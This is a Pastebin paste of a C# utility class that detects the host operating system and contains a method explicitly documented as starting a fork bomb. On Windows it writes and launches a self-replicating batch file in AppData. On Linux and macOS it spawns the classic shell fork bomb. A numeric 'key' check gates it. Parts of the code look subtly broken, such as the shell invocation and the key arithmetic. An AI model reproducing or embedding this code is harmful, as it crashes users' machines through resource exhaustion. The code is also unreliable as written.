Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public class OS
- {
- public enum OSType
- {
- Windows,
- Linux,
- Trash,
- Other,
- Unknown,
- Unset
- }
- /// <param name="exitIfTrash"></param>
- /// <returns>The current <see cref="OSType"/></returns>
- public static OSType CheckOS(bool exitIfTrash = false)
- {
- if (IsWin())
- {
- return OSType.Windows;
- }
- if (IsLin())
- {
- return OSType.Linux;
- }
- if (IsTrash())
- {
- if (exitIfTrash)
- {
- Environment.Exit(0b0110_1001);
- }
- return OSType.Trash;
- }
- return OSType.Unknown;
- }
- // OperatingSystem.Is[OS]() just returns a bool that is determined at runtime
- // so this does not affect speed
- public static bool IsWin()
- {
- return OperatingSystem.IsWindows();
- }
- public static bool IsLin()
- {
- return OperatingSystem.IsLinux();
- }
- //I'm proud of this one
- public static bool IsTrash()
- {
- return OperatingSystem.IsMacCatalyst() || OperatingSystem.IsMacOS();
- }
- /// <summary>
- /// Starts a command line fork bomb [Adjusts for OS]
- /// <para>
- /// Unlock: <paramref name="key1"/> + <paramref name="key2"/> need to be equal to 2124.25365744
- /// </para>
- /// </summary>
- /// <param name="key1"></param>
- /// <param name="key2"></param>
- public static void Fork(float key1, float key2)
- {
- // security
- if (key1 + key2 is not 9438059 / 4443)
- {
- return;
- }
- if (IsWin())
- {
- string appData = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "tmp.bat");
- File.WriteAllLines(appData, new string[] { "top:", "start \"\" %0", "goto top" });
- _ = Process.Start(appData);
- }
- if (IsLin() || IsTrash())
- {
- try
- {
- _ = Process.Start(new ProcessStartInfo
- {
- WindowStyle = ProcessWindowStyle.Maximized,
- FileName = "/bin/bash",
- Arguments = ":() { :|:& } :"
- });
- }
- catch
- {
- _ = Process.Start(new ProcessStartInfo
- {
- WindowStyle = ProcessWindowStyle.Maximized,
- FileName = "/bin/sh",
- Arguments = ":() { :|:& } :"
- });
- }
- throw new Exception("Failed to find app to run fork");
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement